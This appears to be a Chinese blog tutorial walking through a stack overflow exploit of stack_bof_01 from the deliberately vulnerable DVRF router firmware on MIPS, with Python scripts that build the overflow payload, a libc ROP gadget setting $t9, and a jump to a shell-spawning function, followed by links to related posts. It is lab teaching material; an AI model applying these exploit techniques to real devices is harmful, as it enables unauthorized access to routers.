一步一步pwn路由器之栈溢出实战
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文以 DVRF 中的第一个漏洞程序 stack_bof_01 为例,在实战 MIPS 架构中栈溢出的简单利用。
正文
去github上面把 DVRF 下载下来,然后用 binwalk 解开

在 pwnable 目录下就是相应的示例程序

在解开的文件系统的根目录下使用 chroot 和 qemu 运行 程序:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat ./pwnable/Intro/input`"

使用了cat 命令读取文件作为命令行参数,传给目标程序,这样可以使我们输入一些不可见字符用于劫持程序流。
stack_bof_01 是一个很简单的栈溢出漏洞程序,它把用户从命令行传过去的参数直接使用 strcpy 拷贝到栈缓冲区,从而栈溢出。经过调试,输入204个字符后就可以覆盖到 ra 寄存器保存到栈栈上的值,进而可以控制 $pc 的值。

修改文件内容的 python 脚本如下
#!/usr/bin/python
padding = "O" * 204
payload = padding + "B"*4
with open("input", "wb") as f:
f.write(payload)
接下来就是考虑该如何利用的问题了。程序中包含了一个 执行 system("/bin/sh") 的函数 dat_shell, 如果是在 x86 平台下的话,我们直接设置 $pc 寄存器到它的地址就可以了。在 MIPS 如果直接指过去或怎么样呢?我们试试

访问了非法内存,异常了。
原因在于,在 MIPS 中,函数内部会通过 $t9 寄存器和 $gp 寄存器来找数据,地址等。同时在 mips 的手册内默认 $t9 的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget 设置 $t9, 然后再跳到 dat_shell 函数。
在libc 中可以找到这样一个gadgets
.text:00006B20 lw $t9, arg_0($sp)
.text:00006B24 jalr $t9
加上libc的基地址就行了。用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 got 表的函数指针,然后计算偏移得到 libc 的基地址。
所以我们现在的利用流程就是:
- 修改返回地址到
rop_gadget, 设置$r9为dat_shell函数的地址 - 跳转到
dat_shell函数,执行system
#!/usr/bin/python
padding = "O" * 204
gadget1 = "\x20\xbb\x6e\x76"
dat_shell_addr = "\x50\x09\x40" # Partial overwrite with little-endian arch
payload = padding + gadget1 + dat_shell_addr
with open("input", "wb") as f:
f.write(payload)

总结
学习到了
$t9寄存器的重要作用以后再使用rop调用函数时,要使用jalr $t9类的gadgets以保证进入函数后,$t9的值为函数的起始地址,避免出错。使用ida反汇编mips程序时,它好像默认
$t9的值为函数的起始地址,导致我们分析问题时造成困惑,pwndbg 和 radare2 就不会这样。

参考链接:
一步一步pwn路由器之栈溢出实战的更多相关文章
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- 一步一步pwn路由器之rop技术实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...
- 一步一步pwn路由器之uClibc中malloc&&free分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 栈溢出告一段落.本文介绍下 uClibc 中的 malloc 和 ...
- 一步一步pwn路由器之路由器环境修复&&rop技术分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务 ...
- 一步一步pwn路由器之环境搭建
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 正式进入路由器的世界了.感觉路由器这块就是固件提取,运行环境修复比 ...
- 一步一步pwn路由器之radare2使用全解
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 radare2 最近越来越流行,已经进入 github 前 25了 ...
- 一步一步pwn路由器之radare2使用实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前文讲了一些 radare2 的特性相关的操作方法.本文以一个 c ...
- 简单实例一步一步帮你搞清楚MVC3中的路由以及区域
我们都知道MVC 3 程序的所有请求都是先经过路由解析然后分配到特定的Controller 以及 Action 中的,为什么这些知识讲完了Controller Action Model 后再讲呢?这个 ...
- 【计算机网络】一步一步学习IP路由流程
TCP/IP协议簇是目前互联网应用最广的协议栈,谈到TCP/IP协议栈就不能不讲一讲IP路由的问题,因为在我们使用的网络通信中几乎每时每刻都在发生着IP路由的事件…….当你在网络世界中还是一位新手的时 ...
随机推荐
- [BJOI2014]大融合(LCT)
题面 luogu bzoj是权限题.. 题解 \(LCT\)维护子树信息 因为\(LCT\)中有一些虚子树,\(splay\)维护不了. 所以要新开一个数组来记录 然后注意\(link\)时 是先\( ...
- 微信内置的浏览器window.location.href 跳转不兼容问题
1.不兼容苹果手机---->>>>使用模拟触发a标签 <a id="alink" href="http://www.baidu.com&qu ...
- wusir FTP与HTTP文件传输之TCP Packet解析
向服务器传输文件(上传或下载)时,FTP与HTTP是两种最常用的应用层协议,这两个协议都是基于TCP协议之上.如果深入到数据包内(Packet)进行查看时,FTP与HTTP进行文件传输时有什么特征代码 ...
- ToolkitScriptManager vs. ScriptManager 关于“只能向页面中添加 ScriptManager 的一个实例”讨论
在使用ASP.NET设计AJAX功能网页时,需要首先声明ToolkitScriptManager或者ScriptManager控件,这些全局的脚本核心控制,然后才能使用众多的AJAX控件.如果没有创建 ...
- vSphere虚拟主机安装Centos7系统
经过上一帖的主机设置,这一步就可以开始安装系统了,本次详细记录各个过程并分析结果. Centos7 1.右键点击列表中的虚拟主机,打开控制台. 点击绿色开机键,开始安装. 这里有一个很关键的点,就是上 ...
- 发布aar到jcenter
准备工作 创建bintray账号; 在https://bintray.com/, 选择如下图中,方框内"Sign Up Here": 选择合适的方式,创建账号: 新建仓库: Add ...
- PHP之mb_strrpos使用
mb_strrpos (PHP 4 >= 4.0.6, PHP 5, PHP 7) mb_strrpos - Find position of last occurrence of a stri ...
- 人脸识别(基于Caffe)
人脸识别(基于Caffe, 来自tyd) 人脸识别(判断是否为人脸) LMDB(数据库, 为Caffe支持的分类数据源) mkdir face_detect cd face_detect mkdir ...
- 如何创建一个基于Node的HTTP服务器
首先创建一个HTTP服务器. var http = require('http'); function serve(request,response) { console.log(request.me ...
- HTML5--(1)兼容前缀+结构性标签+语义化标签
一.兼容前缀+兼容写法 兼容前缀 1.HTML5有部分类容兼容到IE9,IE8及以下完全不兼容的内容不再考虑. 2.部分内容需要加兼容前缀 a) -webkit- 兼容谷歌 b) -m ...